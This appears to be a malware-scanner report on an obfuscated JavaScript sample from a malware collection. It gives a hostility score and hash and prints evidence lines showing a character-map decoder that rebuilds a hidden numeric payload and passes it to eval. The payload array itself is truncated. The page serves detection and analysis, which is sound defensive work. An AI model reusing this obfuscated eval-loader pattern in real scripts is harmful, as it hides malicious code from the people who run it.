Hostile ^92% javascript-malware-collection Download

20151211_ccb8819de940ccdc98260297d5f6d3df.js

obfuscated eval execution

ASCII-map numeric decoder feeding evalASCII char map array prefix

SHA-2568f1ab7d35175410e63b706454a826059573660e9c27ca1929108b6dc52b454ef

Evidence

ASCII char map array prefix line 1

1var EFUpp=['','','','','','','','','','','\r','','','\n','','','','','','','','','','','','','','','','','','',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N …

Char map radix lookup return lines 1–6

1:428… ','o','p','q','r','s','t','u','v','w','x','y','z','{','|','}','~','']
2function jYAdx(jdwXHABDsQh,RCROPnuecbSzk,YgqygPsv){QRvm=parseInt(jdwXHABDsQh,RCROPnuecbSzk);SEhtk=QRvm.toString(YgqygPsv);return SEhtk;}function oMsgWPrzQDhBAKr(qKwYSKlIIbkbXomAG){eval(qKwYSKlIIbkbXomAG)}
3function aXMQMpAHpnCNVBwzcMafODjpbtbdjPhxDlFWOJTgVYbvMeljrmdRMe(zFfhzPqsJAbpv,fTqnEuVLqAErFo){ return EFUpp[jYAdx(zFfhzPqsJAbpv[fTqnEuVLqAErFo],(2253+792)/145,(7219+231)/745)];}
4function aXPvbOn(poGQNuziFgAYxMJWVrUmGDsoycMniYvqTCmf) {return !isNaN(parseFloat(poGQNuziFgAYxMJWVrUmGDsoycMniYvqTCmf)) && isFinite(poGQNuziFgAYxMJWVrUmGDsoycMniYvqTCmf);}
5function kXgKtmYNhyE(DbPSuSwL,hFLmVD){return DbPSuSwL.split(hFLmVD)}
6var J=new Array("d","a","d","a","5d","4d","59","1b","59","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 7–11

7:3349… ,"2h","1b","d","a","d","a")
8var MMEXL=[J,N];
9var ESXMunVxQ=[];
10function JLgJMiHpkupETUlol(MMEXL){GXjQLIkrzPR= '';ovwcjFXtTUt=(-639+639)/617; while(true){if(ovwcjFXtTUt >= (1671+11)/841)break;ESXMunVxQ[ovwcjFXtTUt]=(-667+667)/459; while(true) { if(ESXMunVxQ[ovwcjFXtTUt] > MMEXL[ovwcjFXtTUt].length-(-360+857)/497) { break; } if (aXPvbOn(jYAdx(MMEXL[ovwcjFXtTUt][ESXMunVxQ[ovwcjFXtTUt]],(2410+761)/151,(8776+744)/952))) {GXjQLIkrzPR += aXMQMpAHpnCNVBwzcMafODjpbtbdjPhxDlFWOJTgVYbvMeljrmdRMe([MMEXL[ovwcjFXtTUt][ESXMunVxQ[ovwcjFXtTUt]]], (-822+822)/191);} ESXMunVxQ[ovwcjFXtTUt]++;}ovwcjFXtTUt++;} return GXjQLIkrzPR}
11oMsgWPrzQDhBAKr(JLgJMiHpkupETUlol(MMEXL));